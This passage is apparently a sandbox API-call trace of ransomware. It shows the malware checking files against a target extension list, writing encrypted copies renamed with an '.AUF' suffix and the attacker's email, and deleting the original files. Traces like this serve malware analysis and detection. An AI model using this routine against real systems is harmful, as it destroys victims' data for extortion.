(lpString=".bz2") returned 4 [0211.771] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.771] lstrlenW (lpString=".7z") returned 3 [0211.771] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.771] lstrlenW (lpString=".dbf") returned 4 [0211.771] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.771] lstrlenW (lpString=".1cd") returned 4 [0211.771] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.771] lstrlenW (lpString=".jpg") returned 4 [0211.771] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.771] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.771] lstrlenW (lpString="STOCKS.XML") returned 10 [0211.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0211.772] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2687) returned 1 [0211.772] CloseHandle (hObject=0x1f8) returned 1 [0211.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0211.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0211.772] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.772] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0211.772] GetLastError () returned 0x0 [0211.772] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xa7f, lpOverlapped=0x0) returned 1 [0211.787] WriteFile (in: hFile=0x180, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xa80, lpOverlapped=0x0) returned 1 [0211.788] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.788] WriteFile (in: hFile=0x180, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0211.788] SetEndOfFile (hFile=0x180) returned 1 [0211.788] CloseHandle (hObject=0x180) returned 1 [0211.788] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.788] SetEndOfFile (hFile=0x1f8) returned 1 [0211.789] CloseHandle (hObject=0x1f8) returned 1 [0211.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.789] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0211.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.789] lstrlenW (lpString=".doc") returned 4 [0211.789] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.789] lstrlenW (lpString=".docx") returned 5 [0211.789] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0211.789] lstrlenW (lpString=".pdf") returned 4 [0211.789] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString=".xls") returned 4 [0211.790] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString=".xlsx") returned 5 [0211.790] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0211.790] lstrlenW (lpString=".ppt") returned 4 [0211.790] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.790] lstrlenW (lpString=".zip") returned 4 [0211.790] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.790] lstrlenW (lpString=".rar") returned 4 [0211.790] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString=".bz2") returned 4 [0211.790] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString=".7z") returned 3 [0211.790] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.790] lstrlenW (lpString=".dbf") returned 4 [0211.790] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.790] lstrlenW (lpString=".1cd") returned 4 [0211.790] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.790] lstrlenW (lpString=".jpg") returned 4 [0211.790] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.790] lstrlenW (lpString=".doc") returned 4 [0211.790] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString=".docx") returned 5 [0211.790] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0211.790] lstrlenW (lpString=".pdf") returned 4 [0211.790] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString=".xls") returned 4 [0211.790] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString=".xlsx") returned 5 [0211.790] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0211.790] lstrlenW (lpString=".ppt") returned 4 [0211.790] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.790] lstrlenW (lpString=".zip") returned 4 [0211.790] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.790] lstrlenW (lpString=".rar") returned 4 [0211.790] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString=".bz2") returned 4 [0211.790] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.790] lstrlenW (lpString=".7z") returned 3 [0211.790] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.790] lstrlenW (lpString=".dbf") returned 4 [0211.790] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.791] lstrlenW (lpString=".1cd") returned 4 [0211.791] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0211.791] lstrlenW (lpString=".jpg") returned 4 [0211.791] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.791] lstrcmpiW (lpString1=".htm", lpString2=".AUF") returned 1 [0211.791] lstrlenW (lpString="Bears.htm") returned 9 [0211.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.796] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=255) returned 1 [0211.796] CloseHandle (hObject=0x194) returned 1 [0211.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0211.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.796] lstrlenW (lpString=".doc") returned 4 [0211.796] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0211.796] lstrlenW (lpString=".docx") returned 5 [0211.796] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0211.796] lstrlenW (lpString=".pdf") returned 4 [0211.796] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0211.796] lstrlenW (lpString=".xls") returned 4 [0211.796] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0211.796] lstrlenW (lpString=".xlsx") returned 5 [0211.796] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0211.796] lstrlenW (lpString=".ppt") returned 4 [0211.796] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0211.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.796] lstrlenW (lpString=".zip") returned 4 [0211.796] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0211.796] lstrlenW (lpString=".rar") returned 4 [0211.796] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0211.796] lstrlenW (lpString=".bz2") returned 4 [0211.796] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0211.796] lstrlenW (lpString=".7z") returned 3 [0211.796] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0211.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.797] lstrlenW (lpString=".dbf") returned 4 [0211.797] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0211.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.797] lstrlenW (lpString=".1cd") returned 4 [0211.797] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0211.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.797] lstrlenW (lpString=".jpg") returned 4 [0211.797] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0211.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.797] lstrlenW (lpString=".doc") returned 4 [0211.797] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0211.797] lstrlenW (lpString=".docx") returned 5 [0211.797] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0211.797] lstrlenW (lpString=".pdf") returned 4 [0211.797] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0211.797] lstrlenW (lpString=".xls") returned 4 [0211.797] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0211.797] lstrlenW (lpString=".xlsx") returned 5 [0211.797] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0211.797] lstrlenW (lpString=".ppt") returned 4 [0211.797] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0211.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.797] lstrlenW (lpString=".zip") returned 4 [0211.797] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0211.797] lstrlenW (lpString=".rar") returned 4 [0211.797] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0211.797] lstrlenW (lpString=".bz2") returned 4 [0211.797] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0211.797] lstrlenW (lpString=".7z") returned 3 [0211.797] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0211.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.797] lstrlenW (lpString=".dbf") returned 4 [0211.797] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0211.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.797] lstrlenW (lpString=".1cd") returned 4 [0211.797] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0211.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0211.797] lstrlenW (lpString=".jpg") returned 4 [0211.797] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0211.797] lstrcmpiW (lpString1=".jpg", lpString2=".AUF") returned 1 [0211.797] lstrlenW (lpString="Bears.jpg") returned 9 [0211.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.798] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1074) returned 1 [0211.798] CloseHandle (hObject=0x194) returned 1 [0211.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0211.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.798] lstrlenW (lpString=".doc") returned 4 [0211.798] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0211.798] lstrlenW (lpString=".docx") returned 5 [0211.798] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0211.798] lstrlenW (lpString=".pdf") returned 4 [0211.798] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0211.798] lstrlenW (lpString=".xls") returned 4 [0211.798] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0211.798] lstrlenW (lpString=".xlsx") returned 5 [0211.798] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0211.798] lstrlenW (lpString=".ppt") returned 4 [0211.798] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0211.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.798] lstrlenW (lpString=".zip") returned 4 [0211.798] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0211.798] lstrlenW (lpString=".rar") returned 4 [0211.798] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0211.798] lstrlenW (lpString=".bz2") returned 4 [0211.798] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0211.798] lstrlenW (lpString=".7z") returned 3 [0211.798] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0211.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.798] lstrlenW (lpString=".dbf") returned 4 [0211.798] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0211.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.798] lstrlenW (lpString=".1cd") returned 4 [0211.798] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0211.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.798] lstrlenW (lpString=".jpg") returned 4 [0211.799] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0211.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.799] lstrlenW (lpString=".doc") returned 4 [0211.799] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0211.799] lstrlenW (lpString=".docx") returned 5 [0211.799] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0211.799] lstrlenW (lpString=".pdf") returned 4 [0211.799] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0211.799] lstrlenW (lpString=".xls") returned 4 [0211.799] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0211.799] lstrlenW (lpString=".xlsx") returned 5 [0211.799] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0211.799] lstrlenW (lpString=".ppt") returned 4 [0211.799] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0211.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.799] lstrlenW (lpString=".zip") returned 4 [0211.799] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0211.799] lstrlenW (lpString=".rar") returned 4 [0211.799] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0211.799] lstrlenW (lpString=".bz2") returned 4 [0211.799] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0211.799] lstrlenW (lpString=".7z") returned 3 [0211.799] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0211.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.799] lstrlenW (lpString=".dbf") returned 4 [0211.799] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0211.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.799] lstrlenW (lpString=".1cd") returned 4 [0211.799] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0211.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0211.799] lstrlenW (lpString=".jpg") returned 4 [0211.799] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0211.799] lstrcmpiW (lpString1=".jpg", lpString2=".AUF") returned 1 [0211.799] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0211.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.806] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2575) returned 1 [0211.806] CloseHandle (hObject=0x1e8) returned 1 [0211.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0211.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.807] lstrlenW (lpString=".doc") returned 4 [0211.807] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0211.807] lstrlenW (lpString=".docx") returned 5 [0211.807] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0211.807] lstrlenW (lpString=".pdf") returned 4 [0211.807] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0211.807] lstrlenW (lpString=".xls") returned 4 [0211.807] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0211.807] lstrlenW (lpString=".xlsx") returned 5 [0211.807] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0211.807] lstrlenW (lpString=".ppt") returned 4 [0211.807] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0211.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.807] lstrlenW (lpString=".zip") returned 4 [0211.807] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0211.807] lstrlenW (lpString=".rar") returned 4 [0211.807] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0211.807] lstrlenW (lpString=".bz2") returned 4 [0211.807] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0211.807] lstrlenW (lpString=".7z") returned 3 [0211.807] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0211.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.807] lstrlenW (lpString=".dbf") returned 4 [0211.807] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0211.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.807] lstrlenW (lpString=".1cd") returned 4 [0211.807] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0211.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.807] lstrlenW (lpString=".jpg") returned 4 [0211.807] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0211.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.807] lstrlenW (lpString=".doc") returned 4 [0211.807] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0211.807] lstrlenW (lpString=".docx") returned 5 [0211.807] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0211.807] lstrlenW (lpString=".pdf") returned 4 [0211.807] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0211.807] lstrlenW (lpString=".xls") returned 4 [0211.807] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0211.807] lstrlenW (lpString=".xlsx") returned 5 [0211.807] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0211.807] lstrlenW (lpString=".ppt") returned 4 [0211.807] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0211.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.807] lstrlenW (lpString=".zip") returned 4 [0211.808] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0211.808] lstrlenW (lpString=".rar") returned 4 [0211.808] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0211.808] lstrlenW 